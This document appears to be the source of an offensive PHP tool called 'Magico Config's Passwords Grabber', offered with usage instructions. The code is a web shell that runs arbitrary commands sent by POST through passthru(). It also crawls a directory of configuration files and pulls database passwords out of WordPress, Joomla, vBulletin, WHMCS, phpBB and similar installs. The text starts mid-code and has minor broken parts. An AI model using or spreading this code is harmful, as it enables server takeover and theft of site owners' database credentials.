Magico Config's Passwords Grabber
Usage : http://www.site.com/configs/
By : Elmagico

'; if ($_POST['confg']){ $my_smtp = $_POST['confg']; passthru($my_smtp); } $g = $_POST['get']; $dir = $_POST['conf']; ////////////////////////////////////////////////////////////////////////////////////////////// if(isset($g) && $dir != ""){ $cn = @file_get_contents($dir); //preg_match_all('#href="(.*?)">(.*?)<#',$cn,$m); // $m[2] preg_match_all('#href="(.*?)"#',$cn,$m); foreach($m[1] as $txt){ $url = $dir.$txt; $cnurl = @file_get_contents($url); preg_match('#\'DB_PASSWORD\', \'(.*)\'#',$cnurl,$m1); // wordpress preg_match('#password = \'(.*)\'#',$cnurl,$m2); // joomla preg_match('#password\'] = \'(.*)\'#',$cnurl,$m3); // vb preg_match('#db_password = "(.*)"#',$cnurl,$m4); // whmcs preg_match('#db_password = \'(.*)\'#',$cnurl,$m4); // whmcs preg_match('#dbpass = "(.*)"#',$cnurl,$m5); // preg_match('#password = \'(.*)\'#',$cnurl,$m6); // connnect.php preg_match('#dbpasswd = \'(.*)\'#',$cnurl,$m8); // phpBB 3.0.x preg_match('#password_localhost = "(.*)"#',$cnurl,$m9); // conexao.php preg_match('#senha = "(.*)"#',$cnurl,$m10); // /_inc/config.inc.php if(!empty($m1[1])){ echo $m1[1]."
"; } elseif(!empty($m2[1])){ echo $m2[1]."
"; } elseif(!empty($m3[1])){ echo $m3[1]."
"; } elseif(!empty($m4[1])){ echo $m4[1]."
"; } elseif(!empty($m5[1])){ echo $m5[1]."
"; } elseif(!empty($m6[1])){ echo $m6[1]."
"; } elseif(!empty($m7[1])){ echo $m7[1]."
"; } elseif(!empty($m8[1])){ echo $m8[1]."
"; } elseif(!empty($m9[1])){ echo $m9[1]."
"; } elseif(!empty($m10[1])){ echo $m10[1]."
"; } } } ?>